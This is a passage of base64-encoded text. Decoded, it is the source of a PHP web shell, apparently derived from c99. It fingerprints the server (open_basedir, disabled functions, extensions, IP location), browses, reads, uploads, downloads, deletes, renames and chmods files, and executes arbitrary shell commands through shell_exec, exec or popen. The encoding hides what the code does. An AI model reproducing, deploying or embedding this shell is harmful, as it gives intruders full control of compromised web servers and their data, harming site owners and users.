jb2xvcjojMDBmZjAwJz5PRkY8L2ZvbnQ+PC9zdHJvbmc+Ijt9ID8+IDwvbGk+DQogICAgICAgICAgICAgICAgPGxpPjxzcGFuPjwvc3Bhbj4gPD9waHAgJHYgPSBAaW5pX2dldCgib3Blbl9iYXNlZGlyIik7IGlmICgkdiBvciBzdHJ0b2xvd2VyKCR2KSA9PSAib24iKXsgcHJpbnQgIjxmb250IHN0eWxlPSdjb2xvcjpyZWQnPiIgLiAkdiAuICI8L2ZvbnQ+IjsgfWVsc2V7IHByaW50ICI8c3Ryb25nPjxmb250IHN0eWxlPSdjb2xvcjojMDBmZjAwJz5PRkY8L2ZvbnQ+PC9zdHJvbmc+Ijt9Pz48L2xpPg0KICAgICAgICAgICAgICAgIDxsaT48c3Bhbj48L3NwYW4+IDw/cGhwICRkZiA9IEBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpOyBpZiAoIWVtcHR5KCRkZikpeyBwcmludCAiPGZvbnQgc3R5bGU9J2NvbG9yOnJlZCc+IiAuICRkZiAuICI8L2ZvbnQ+IjsgfWVsc2V7IHByaW50ICI8c3Ryb25nPjxmb250IHN0eWxlPSdjb2xvcjojMDBmZjAwJz5OT05FPC9mb250Pjwvc3Ryb25nPiI7fT8+PC9saT4NCiAgICAgICAgICAgICAgICA8bGk+PHNwYW4+PC9zcGFuPiA8P3BocCAkcyA9IEBpbmlfZ2V0KCd1cGxvYWRfbWF4X2ZpbGVzaXplJyk7IGlmKCFlbXB0eSgkcykpe3ByaW50ICRzO31lbHNle3ByaW50ICdVbmFibGUgdG8gZ2V0IHRoYXQgaW5mb3JtYXRpb24nOyB9ID8+PC9saT4NCiAgICAgICAgICAgICAgICA8bGk+PHNwYW4+PC9zcGFuPiA8cD48P3BocCAkZXh0ID0gQGdldF9sb2FkZWRfZXh0ZW5zaW9ucygpOyBwcmludCBpbXBsb2RlKCcsJywkZXh0KTs/PjwvcD48L2xpPg0KICAgICAgICAgICAgICAgIDxsaT48c3Bhbj48L3NwYW4+IDxwPjw/cGhwICRpbmZvID0gJGhlbHBlcnMtPmdldF9pcF9pbmZvcm1hdGlvbigpOyA/PiBbIDxzdHJvbmc+SVAgQWRkcmVzczo8L3N0cm9uZz4gPD9waHAgcHJpbnQgJGluZm9bImlwIl07Pz4gLCA8c3Ryb25nPkNvdW50cnk6PC9zdHJvbmc+IDw/cGhwIHByaW50ICRpbmZvWyJjb3VudHJ5Il07Pz4gLCA8c3Ryb25nPkNpdHk6PC9zdHJvbmc+IDw/cGhwIHByaW50ICRpbmZvWyJjaXR5Il07Pz4gLCA8c3Ryb25nPlJlZ2lvbjo8L3N0cm9uZz4gPD9waHAgcHJpbnQgJGluZm9bInJlZ2lvbiJdOz8+ICwgPHN0cm9uZz5UaW1lem9uZTo8L3N0cm9uZz4gPD9waHAgcHJpbnQgJGluZm9bInRpbWV6b25lIl07Pz4gXTwvcD48L2xpPg0KICAgICAgICAgICAgICAgIDxsaSBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiPjxzcGFuPjwvc3Bhbj48cD48Zm9ybSBtZXRob2Q9InBvc3QiIHN0eWxlPSJkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyIiBvbnN1Ym1pdD0iZXZlbnQucHJldmVudERlZmF1bHQoKTsiPjxkaXYgaWQ9InBhdGgiPjwvZGl2PjwvZm9ybT48L3A+PC9saT4gDQogICAgICAgICAgICAgICAgPGxpIHN0eWxlPSJtYXJnaW4tdG9wOjVweCI+PHNwYW4+PC9zcGFuPjxwPjxmb3JtIG1ldGhvZD0icG9zdCIgc3R5bGU9ImRpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXIiIG9uc3VibWl0PSJldmVudC5wcmV2ZW50RGVmYXVsdCgpOyI+PGlucHV0IHR5cGU9InRleHQiIHN0eWxlPSJiYWNrZ3JvdW5kOm5vbmU7Ym9yZGVyOjFweCBzb2xpZCByZ2JhKDI1NSwyNTUsMjU1LC4zKTt3aWR0aDo2MDBweDtoZWlnaHQ6MzVweDtwYWRkaW5nLWxlZnQ6NXB4OyIgYXV0b2NvbXBsZXRlPSJvZmYiIHJlcXVpcmVkIGlkPSJjdXJyX2RpciIgdmFsdWU9IiIvPjxidXR0b24gb25jbGljaz0iY2hhbmdlX2RpcigpOyIgc3R5bGU9Im1hcmdpbi1sZWZ0OjVweDt0ZXh0LWFsaWduOmNlbnRlcjtoZWlnaHQ6MzVweDtjdXJzb3I6cG9pbnRlcjtmb250LXdlaWdodDpib2xkO2JvcmRlcjpub25lO2JhY2tncm91bmQ6cmdiYSgwLDAsMCwuMik7Y29sb3I6IzAwZmYwMDtwYWRkaW5nOjEwcHg7d2lkdGg6MTUwcHg7dGV4dC1hbGlnbjpjZW50ZXIiPkNoYW5nZSBkaXI8L2J1dHRvbj48L2Zvcm0+PC9wPjwvbGk+DQogICAgICAgICAgICAgICAgPGxpIHN0eWxlPSJtYXJnaW4tdG9wOjVweCI+PHNwYW4+PC9zcGFuPjxwPjxmb3JtIG1ldGhvZD0icG9zdCIgc3R5bGU9ImRpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXIiIG9uc3VibWl0PSJldmVudC5wcmV2ZW50RGVmYXVsdCgpOyI+PGlucHV0IGNsYXNzPSJ0b2dnbGUiIHR5cGU9InRleHQiIHN0eWxlPSJiYWNrZ3JvdW5kOm5vbmU7Ym9yZGVyOjFweCBzb2xpZCByZ2JhKDI1NSwyNTUsMjU1LC4zKTt3aWR0aDo2MDBweDtoZWlnaHQ6MzVweDtwYWRkaW5nLWxlZnQ6NXB4OyIgYXV0b2NvbXBsZXRlPSJvZmYiIHJlcXVpcmVkIGlkPSJyZWFkX2ZpbGUiIHZhbHVlPSIiLz48YnV0dG9uIGNsYXNzPSJ0b2dnbGUiIG9uY2xpY2s9InJlYWRmaWxlKCk7IiBzdHlsZT0ibWFyZ2luLWxlZnQ6NXB4O3RleHQtYWxpZ246Y2VudGVyO2hlaWdodDozNXB4O2N1cnNvcjpwb2ludGVyO2ZvbnQtd2VpZ2h0OmJvbGQ7Ym9yZGVyOm5vbmU7YmFja2dyb3VuZDpyZ2JhKDAsMCwwLC4yKTtjb2xvcjojMDBmZjAwO3BhZGRpbmc6MTBweDt3aWR0aDoxNTBweDt0ZXh0LWFsaWduOmNlbnRlciI+UmVhZCBGaWxlPC9idXR0b24+PC9mb3JtPjwvcD48L2xpPg0KDQogICAgICAgICAgICA8L3VsPg0KICAgICAgICA8L2Rpdj4NCiAgICAgICAgDQogICAgICAgIDxkaXYgY2xhc3M9ImlubmVyIj4NCiAgICAgICAgPGRpdiBjbGFzcz0ibG9hZGVyaG9sZCI+PGRpdiBjbGFzcz0ibG9hZGVyIj48L2Rpdj48L2Rpdj4NCiAgICAgICAgICAgIDx0YWJsZSBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPg0KICAgICAgICAgICAgICAgIDx0aGVhZD4NCiAgICAgICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRoIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjwvdGg+DQogICAgICAgICAgICAgICAgICAgICAgICA8dGggc3R5bGU9InRleHQtYWxpZ246bGVmdDsiPk5hbWU8L3RoPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRoPlNpemU8L3RoPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRoPkxhc3QgTW9kaWZpZWQ8L3RoPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRoPlBlcm1pc3Npb25zPC90aD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0aD5BY3Rpb248L3RoPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgIDwvdGhlYWQ+DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgPHRib2R5Pg0KDQogICAgICAgICAgICAgICAgPC90Ym9keT4NCiAgICAgICAgDQogICAgICAgICAgICA8L3RhYmxlPg0KICAgICAgICA8L2Rpdj4NCg0KICAgICAgICA8ZGl2IGNsYXNzPSJwcm9jZXNzLXNjcmVlbiIgaWQ9InNjcmVlbiI+PC9kaXY+DQoNCiAgICA8L2Rpdj4NCg0KPC9kaXY+DQoNCg0KPC9ib2R5Pg0KPC9odG1sPg0KDQoNCjw/cGhwDQoNCmNsYXNzIGhlbHBlcnN7DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gbGlzdF9kaXIoJHRhcmdldCA9ICcuJyl7DQogICAgICAgIGlmKCFAY2hkaXIoJHRhcmdldCkpIHJldHVybiBmYWxzZTsNCiAgICAgICAgJGRpcnBhdGggICAgID0gQGdldGN3ZCgpOw0KICAgICAgICAkY3VycmVudF9kaXIgPSBAc2NhbmRpcigkdGFyZ2V0KTsNCiAgICAgICAgdW5zZXQoJGN1cnJlbnRfZGlyWzBdKTsNCiAgICAgICAgJGRpcnMgID0gYXJyYXkoKTsNCiAgICAgICAgJGZpbGVzID0gYXJyYXkoKTsNCiAgICAgICAgJGN1cnJlbnRfZGlyID0gQGFycmF5X3ZhbHVlcygkY3VycmVudF9kaXIpOw0KDQogICAgICAgIGZvcmVhY2goJGN1cnJlbnRfZGlyIGFzICRkYXRhKXsNCiAgICAgICAgICAgIGlmKGlzX2RpcigkZGF0YSkpew0KICAgICAgICAgICAgICAgICRkaXJzWyduYW1lJ11bXSA9ICRkYXRhOw0KICAgICAgICAgICAgICAgICRkaXJzWyd0eXBlJ11bXSA9ICR0aGlzLT5nZXRfdHlwZSgkZGF0YSk7DQogICAgICAgICAgICAgICAgJGRpcnNbJ3Blcm1zJ11bXSA9ICR0aGlzLT52aWV3X3Blcm1zX2NvbG9yKCRkYXRhKTsNCiAgICAgICAgICAgICAgICAkZGlyc1sncGVybV9udW0nXVtdID0gJHRoaXMtPnZpZXdfcGVybV9udW1iZXIoJGRhdGEpOw0KICAgICAgICAgICAgICAgICRkaXJzWydzaXplJ11bXSA9ICR0aGlzLT5nZXRfc2l6ZSgkZGF0YSk7DQogICAgICAgICAgICAgICAgJGRpcnNbJ21vZGlmeSddW10gPSAkdGhpcy0+bW9kaWZ5X3RpbWUoJGRhdGEpOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgJGZpbGVzWyduYW1lJ11bXSA9ICRkYXRhOw0KICAgICAgICAgICAgICAgICRmaWxlc1sndHlwZSddW10gPSAkdGhpcy0+Z2V0X3R5cGUoJGRhdGEpOw0KICAgICAgICAgICAgICAgICRmaWxlc1sncGVybXMnXVtdID0gJHRoaXMtPnZpZXdfcGVybXNfY29sb3IoJGRhdGEpOw0KICAgICAgICAgICAgICAgICRmaWxlc1sncGVybV9udW0nXVtdID0gJHRoaXMtPnZpZXdfcGVybV9udW1iZXIoJGRhdGEpOw0KICAgICAgICAgICAgICAgICRmaWxlc1snc2l6ZSddW10gPSAkdGhpcy0+Z2V0X3NpemUoJGRhdGEpOw0KICAgICAgICAgICAgICAgICRmaWxlc1snbW9kaWZ5J11bXSA9ICR0aGlzLT5tb2RpZnlfdGltZSgkZGF0YSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICANCiAgICAgICAgfQ0KICAgICAgICAkcmV0dXJuX2xpc3QgPSBhcnJheSgpOw0KICAgICAgICAkY291bnQgICAgICAgPSBAY291bnQoJGRpcnNbJ25hbWUnXSk7DQogICAgICAgIGZvcigkaSA9IDA7ICRpIDwgJGNvdW50OyAkaSsrKXsNCiAgICAgICAgICAgICRyZXR1cm5fbGlzdFsnbmFtZSddW10gICA9ICRkaXJzWyduYW1lJ11bJGldOw0KICAgICAgICAgICAgJHJldHVybl9saXN0WydwYXRoJ11bXSAgID0gJGRpcnBhdGguJy8nLiRkaXJzWyduYW1lJ11bJGldOw0KICAgICAgICAgICAgJHJldHVybl9saXN0Wyd0eXBlJ11bXSAgID0gJGRpcnNbJ3R5cGUnXVskaV07DQogICAgICAgICAgICAkcmV0dXJuX2xpc3RbJ3Blcm1zJ11bXSAgPSAkZGlyc1sncGVybXMnXVskaV07DQogICAgICAgICAgICAkcmV0dXJuX2xpc3RbJ3Blcm1fbnVtJ11bXSAgICAgID0gJGRpcnNbJ3Blcm1fbnVtJ11bJGldOw0KICAgICAgICAgICAgJHJldHVybl9saXN0WydzaXplJ11bXSAgID0gJGRpcnNbJ3NpemUnXVskaV07DQogICAgICAgICAgICAkcmV0dXJuX2xpc3RbJ21vZGlmeSddW10gPSAkZGlyc1snbW9kaWZ5J11bJGldOw0KDQogICAgICAgIH0NCiAgICAgICAgJGNvdW50MiAgICAgICA9IEBjb3VudCgkZmlsZXNbJ25hbWUnXSk7DQogICAgICAgIGZvcigkeCA9IDA7ICR4IDwgJGNvdW50MjsgJHgrKyl7DQogICAgICAgICAgICAkcmV0dXJuX2xpc3RbJ25hbWUnXVtdICAgPSAkZmlsZXNbJ25hbWUnXVskeF07DQogICAgICAgICAgICAkcmV0dXJuX2xpc3RbJ3BhdGgnXVtdICAgPSAkZGlycGF0aC4nLycuJGZpbGVzWyduYW1lJ11bJHhdOw0KICAgICAgICAgICAgJHJldHVybl9saXN0Wyd0eXBlJ11bXSAgID0gJGZpbGVzWyd0eXBlJ11bJHhdOw0KICAgICAgICAgICAgJHJldHVybl9saXN0WydwZXJtcyddW10gID0gJGZpbGVzWydwZXJtcyddWyR4XTsNCiAgICAgICAgICAgICRyZXR1cm5fbGlzdFsncGVybV9udW0nXVtdPSAkZmlsZXNbJ3Blcm1fbnVtJ11bJHhdOw0KICAgICAgICAgICAgJHJldHVybl9saXN0WydzaXplJ11bXSAgID0gJGZpbGVzWydzaXplJ11bJHhdOw0KICAgICAgICAgICAgJHJldHVybl9saXN0Wydtb2RpZnknXVtdID0gJGZpbGVzWydtb2RpZnknXVskeF07DQogICAgICAgIH0NCiAgICAgICAgJHJldHVybl9saXN0WydjdXJyZW50X2RpciddW10gPSBzdHJfcmVwbGFjZSgnXFwnLCcvJyxAZ2V0Y3dkKCkpOw0KDQogICAgICAgIHJldHVybiAkcmV0dXJuX2xpc3Q7DQogICAgfQ0KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRfdHlwZSgkdGFyZ2V0KXsNCiAgICAgICAgaWYoaXNfZGlyKCR0YXJnZXQpKXsNCiAgICAgICAgICAgIHJldHVybiAnZGlyZWN0b3J5JzsNCiAgICAgICAgfWVsc2V7DQogICAgICAgICAgICByZXR1cm4gJ2ZpbGUnOw0KICAgICAgICB9DQogICAgfQ0KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRfc2l6ZSgkdGFyZ2V0KXsNCiAgICAgICAgaWYoaXNfZmlsZSgkdGFyZ2V0KSl7DQogICAgICAgICAgICByZXR1cm4gJHRoaXMtPmh1bWFuX2ZpbGVzaXplKEBmaWxlc2l6ZSgkdGFyZ2V0KSk7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgcmV0dXJuICdESVInOw0KICAgICAgICB9DQogICAgfQ0KICAgIHB1YmxpYyBmdW5jdGlvbiBtb2RpZnlfdGltZSgkdGFyZ2V0KXsNCiAgICAgICAgcmV0dXJuIGRhdGUoJ2QvbS9ZIC0gSDppOnMnLEBmaWxlbXRpbWUoJHRhcmdldCkpOw0KICAgIH0NCiAgICBwdWJsaWMgZnVuY3Rpb24gaHVtYW5fZmlsZXNpemUoJGJ5dGVzLCAkZGVjaW1hbHMgPSAyKSB7DQogICAgICAgIC8vIGh0dHBzOi8vZ2lzdC5naXRodWIuY29tL2xpdW5pYW4vOTMzODMwMQ0KICAgICAgICAkc2l6ZSA9IGFycmF5KCdCJywna0InLCdNQicsJ0dCJywnVEInLCdQQicsJ0VCJywnWkInLCdZQicpOw0KICAgICAgICAkZmFjdG9yID0gZmxvb3IoKHN0cmxlbigkYnl0ZXMpIC0gMSkgLyAzKTsNCiAgICAgICAgcmV0dXJuIHNwcmludGYoIiUueyRkZWNpbWFsc31mIiwgJGJ5dGVzIC8gcG93KDEwMjQsICRmYWN0b3IpKSAuIEAkc2l6ZVskZmFjdG9yXTsNCiAgICB9DQogICAgLy8gdmlld19wZXJtcyAmIHZpZXdfcGVybXNfY29sb3IgZnVuY3Rpb25zIGFyZSB0YWtlbiBmcm9tIGM5OQ0KICAgIC8vIFVwZGF0ZWQgYnk6IEthaXplbkxvdWllIGZvciBQSFAgNw0KICAgIC8vIEZpbmQgaXQgb24gZ2l0aHViDQogICAgcHVibGljIGZ1bmN0aW9uIHZpZXdfcGVybXMoJG1vZGUpew0KDQogICAgICAgICAgICBpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICR0eXBlID0gInMiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDQwMDApID09PSAweDQwMDApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHR5cGUgPSAiZCI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkdHlwZSA9ICJsIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICR0eXBlID0gIi0iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDYwMDApID09PSAweDYwMDApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHR5cGUgPSAiYiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkdHlwZSA9ICJjIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICR0eXBlID0gInAiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICR0eXBlID0gIj8iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJG93bmVyWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDQwMCkgPyAiciIgOiAiLSI7DQogICAgICAgICAgICAkb3duZXJbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDIwMCkgPyAidyIgOiAiLSI7DQogICAgICAgICAgICAkb3duZXJbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMTAwKSA/ICJ4IiA6ICItIjsNCiAgICAgICAgICAgICRncm91cFsicmVhZCJdID0gKCRtb2RlICYgMDAwNDApID8gInIiIDogIi0iOw0KICAgICAgICAgICAgJGdyb3VwWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAwMjApID8gInciIDogIi0iOw0KICAgICAgICAgICAgJGdyb3VwWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDAxMCkgPyAieCIgOiAiLSI7DQogICAgICAgICAgICAkd29ybGRbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDA0KSA/ICJyIiA6ICItIjsNCiAgICAgICAgICAgICR3b3JsZFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDAyKSA/ICJ3IiA6ICItIjsNCiAgICAgICAgICAgICR3b3JsZFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMDEpID8gIngiIDogIi0iOw0KICAgICAgICAgICAgaWYgKCRtb2RlICYgMHg4MDApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJG93bmVyWyJleGVjdXRlIl0gPSAoJG93bmVyWyJleGVjdXRlIl0gPT0gIngiKSA/ICJzIiA6ICJTIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmICgkbW9kZSAmIDB4NDAwKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRncm91cFsiZXhlY3V0ZSJdID0gKCRncm91cFsiZXhlY3V0ZSJdID09ICJ4IikgPyAicyIgOiAiUyI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoJG1vZGUgJiAweDIwMCkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkd29ybGRbImV4ZWN1dGUiXSA9ICgkd29ybGRbImV4ZWN1dGUiXSA9PSAieCIpID8gInQiIDogIlQiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuICR0eXBlIC4gam9pbigiIiwgJG93bmVyKSAuIGpvaW4oIiIsICRncm91cCkgLiBqb2luKCIiLCAkd29ybGQpOw0KICAgIH0NCiAgICBwdWJsaWMgZnVuY3Rpb24gdmlld19wZXJtc19jb2xvcigkbykNCiAgICB7DQogICAgICAgIGlmICghaXNfcmVhZGFibGUoJG8pKQ0KICAgICAgICB7DQogICAgICAgICAgICByZXR1cm4gIjxmb250IHN0eWxlPSdjb2xvcjpyZWQnPiIgLiAkdGhpcy0+dmlld19wZXJtcyhAZmlsZXBlcm1zKCRvKSkgLiAiPC9mb250PiI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZWlmICghaXNfd3JpdGFibGUoJG8pKQ0KICAgICAgICB7DQogICAgICAgICAgICByZXR1cm4gIjxmb250IHN0eWxlPSdjb2xvcjp3aGl0ZSc+IiAuICR0aGlzLT52aWV3X3Blcm1zKEBmaWxlcGVybXMoJG8pKSAuICI8L2ZvbnQ+IjsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgIHJldHVybiAiPGZvbnQgc3R5bGU9J2NvbG9yOmdyZWVuJz4iIC4gJHRoaXMtPnZpZXdfcGVybXMoQGZpbGVwZXJtcygkbykpIC4gIjwvZm9udD4iOw0KICAgICAgICB9DQogICAgfQ0KICAgIHB1YmxpYyBmdW5jdGlvbiB2aWV3X3Blcm1fbnVtYmVyKCRmaWxlKXsNCiAgICAgICAgcmV0dXJuIHN1YnN0cihzcHJpbnRmKCIlbyIsIEBmaWxlcGVybXMoJGZpbGUpKSwgLTQpOw0KICAgIH0NCiAgICBwdWJsaWMgZnVuY3Rpb24gZm9sZGVyU2l6ZSAoJGRpcikNCiAgICB7DQogICAgICAgICRzaXplID0gMDsNCiAgICAgICAgJGNvbnRlbnRzID0gZ2xvYihydHJpbSgkZGlyLCAnLycpLicvKicsIEdMT0JfTk9TT1JUKTsNCg0KICAgICAgICBmb3JlYWNoICgkY29udGVudHMgYXMgJGNvbnRlbnRzX3ZhbHVlKSB7DQogICAgICAgICAgICBpZiAoaXNfZmlsZSgkY29udGVudHNfdmFsdWUpKSB7DQogICAgICAgICAgICAgICAgJHNpemUgKz0gZmlsZXNpemUoJGNvbnRlbnRzX3ZhbHVlKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJHNpemUgKz0gJHRoaXMtPmZvbGRlclNpemUoJGNvbnRlbnRzX3ZhbHVlKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIHJldHVybiAkc2l6ZTsNCiAgICB9DQogICAgcHVibGljIGZ1bmN0aW9uIGRvd25sb2FkX2ZpbGUoJGZpbGUsJHJlbW92ZSA9IGZhbHNlKXsNCiAgICAgICAgJHBhdGhpbmZvID0gcGF0aGluZm8oJGZpbGUpOw0KDQogICAgICAgIGhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nKTsNCiAgICAgICAgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iLiRwYXRoaW5mb1snYmFzZW5hbWUnXSk7DQoNCiAgICAgICAgb2JfZW5kX2NsZWFuKCk7DQogICAgICAgIGlmKGlzX3JlYWRhYmxlKCRmaWxlKSl7DQogICAgICAgICAgICByZWFkZmlsZSgkZmlsZSk7DQogICAgICAgICAgICBpZigkcmVtb3ZlKSBAdW5saW5rKCRmaWxlKTsNCiAgICAgICAgICAgIGV4aXQ7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAgfQ0KICAgIHB1YmxpYyBmdW5jdGlvbiByZW1vdmVfZmlsZSgkZmlsZSl7DQogICAgICAgIGlmKGlzX2RpcigkZmlsZSkpew0KICAgICAgICAgICAgJHJtZGlyID0gJHRoaXMtPmRlbGV0ZV9kaXIoJGZpbGUpOw0KICAgICAgICAgICAgaWYoJHJtZGlyKXsNCiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfWVsc2V7DQogICAgICAgICAgICBpZihAdW5saW5rKCRmaWxlKSl7DQogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgfQ0KICAgIHB1YmxpYyBmdW5jdGlvbiBkZWxldGVfZGlyKCRkaXIpIHsgDQogICAgICAgICRmaWxlcyA9IGFycmF5X2RpZmYoc2NhbmRpcigkZGlyKSwgYXJyYXkoJy4nLCcuLicpKTsgDQogICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIA0KICAgICAgICAgICAoaXNfZGlyKCIkZGlyLyRmaWxlIikpID8gJHRoaXMtPmRlbGV0ZV9kaXIoIiRkaXIvJGZpbGUiKSA6IEB1bmxpbmsoIiRkaXIvJGZpbGUiKTsgDQogICAgICAgICBpZihybWRpcigkZGlyKSl7DQogICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgICB9DQogICAgfSANCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBzZXRfY2htb2QoJHRhcmdldCwkbW9kZSl7DQogICAgICAgIGlmKEBjaG1vZCgkdGFyZ2V0LG9jdGRlYygkbW9kZSkpKXsNCiAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVuYW1lKCR0YXJnZXQsJG5hbWUsJG9sZF9uYW1lKXsNCiAgICAgICAgJG5ld19uYW1lID0gc3RyX3JlcGxhY2UoJG9sZF9uYW1lLCRuYW1lLCR0YXJnZXQpOw0KICAgICAgICBpZihAcmVuYW1lKCR0YXJnZXQsJG5ld19uYW1lKSl7DQogICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgfWVsc2V7DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICB9DQogICAgcHVibGljIGZ1bmN0aW9uIGZpbGVfdXBsb2FkKCR0ZW1wLCRmaWxlbmFtZSwkd2hlcmUpew0KICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJ21vdmVfdXBsb2FkZWRfZmlsZScpKXsNCiAgICAgICAgICAgIGlmKEBtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRlbXAsJHdoZXJlLicvJy4kZmlsZW5hbWUpKXsNCiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ2NvcHknKSl7DQogICAgICAgICAgICBpZihAY29weSgkdGVtcCwkd2hlcmUuJy8nLiRmaWxlbmFtZSkpew0KICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBwdWJsaWMgZnVuY3Rpb24gcnVuX2NtZCgkY21kLCRkaXIgPSBudWxsKXsNCiAgICAgICAgaWYoJGRpciAhPSBudWxsKSBAY2hkaXIoJGRpcik7DQogICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygic2hlbGxfZXhlYyIpKXsNCiAgICAgICAgICAgICRydW4gPSBzaGVsbF9leGVjKCRjbWQpOw0KICAgICAgICAgICAgcmV0dXJuICdzaGVsbF9leGVjfCcudHJpbSgkcnVuKTsNCiAgICAgICAgfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoImV4ZWMiKSl7DQogICAgICAgICAgICAkcnVuID0gZXhlYygkY21kLCRyZXN1bHQpOw0KICAgICAgICAgICAgcmV0dXJuICdleGVjfCcuaW1wbG9kZSgiXHJcbiIsYXJyYXlfbWFwKCd0cmltJywkcmVzdWx0KSk7DQogICAgICAgIH1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3BlbiIpKXsNCiAgICAgICAgICAgICRydW4gPSBwb3BlbigkY21kLCJyIik7DQogICAgICAgICAgICAkcmVzdWx0ID0gIiI7DQogICAgI